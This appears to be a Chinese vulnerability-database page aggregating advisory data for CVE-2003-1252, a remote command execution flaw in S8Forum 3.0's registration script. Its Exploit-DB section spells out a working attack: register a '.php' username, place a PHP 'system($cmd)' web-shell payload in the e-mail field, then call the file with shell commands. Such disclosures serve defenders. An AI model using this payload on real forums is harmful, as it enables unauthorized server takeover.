CVE-2003-1252
CVSS7.5
发布时间 :2003-12-31 00:00:00
修订时间 :2008-09-05 16:36:26
NMCOE    

[原文]register.php in S8Forum 3.0 allows remote attackers to execute arbitrary PHP commands by creating a user whose name ends in a .php extension and entering the desired commands into the E-mail field, which creates a web-accessible .php file that can be called by the attacker, as demonstrated using a "system($cmd)" E-mail address with a "any_name.php" username.


[CNNVD]S8Forum远程命令执行漏洞(CNNVD-200312-375)

        S8Forum 3.0版本的register.php存在漏洞。远程攻击者可以通过创建一个名称以.php拓展名结尾的用户以及输入E-mail字段需要的命令来执行任意PHP命令,该漏洞创建了一个可被攻击者调用的web-accessible .php文件,正如使用带有"any_name.php"用户名的"system($cmd)" 电子邮件地址。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1252
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1252
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-375
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/6547
(UNKNOWN)  BID  6547
http://www.securityfocus.com/archive/1/305406
(VENDOR_ADVISORY)  BUGTRAQ  20030105 A security vulnerability in S8Forum
http://www.iss.net/security_center/static/10974.php
(UNKNOWN)  XF  s8forum-register-command-execution(10974)
http://archives.neohapsis.com/archives/vulnwatch/2003-q1/0004.html
(VENDOR_ADVISORY)  VULNWATCH  20030105 A security vulnerability in S8Forum
http://www.securitytracker.com/id?1005881
(UNKNOWN)  SECTRACK  1005881
http://secunia.com/advisories/7819
(UNKNOWN)  SECUNIA  7819

- 漏洞信息

S8Forum远程命令执行漏洞
高危 输入验证
2003-12-31 00:00:00 2006-01-17 00:00:00
远程  
        S8Forum 3.0版本的register.php存在漏洞。远程攻击者可以通过创建一个名称以.php拓展名结尾的用户以及输入E-mail字段需要的命令来执行任意PHP命令,该漏洞创建了一个可被攻击者调用的web-accessible .php文件,正如使用带有"any_name.php"用户名的"system($cmd)" 电子邮件地址。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (22134)

S8Forum 3.0 Remote Command Execution Vulnerability (EDBID:22134)
php webapps
2003-01-06 Verified
0 nmsh_sa
N/A [点击下载]
source: http://www.securityfocus.com/bid/6547/info

S8Forum is prone to a remote command execution vulnerability.

When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP. 

- go to Register

- insert in Username:
any_name.php

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

Then request the following page:

http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a 		

- 漏洞信息

10858
S8Forum register.php Arbitrary Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

S8Forum contains a flaw that will allow a remote attacker to execute arbitrary commands. The problem is that user-supplied input upon submission to the 'register.php' script is not verified properly. It is possible for a remote attacker to pass arbitrary commands to the server in the name, email, or password field to be executed on the system resulting in a loss of integrity.

- 时间线

2003-06-05 2002-11-17
2003-06-05 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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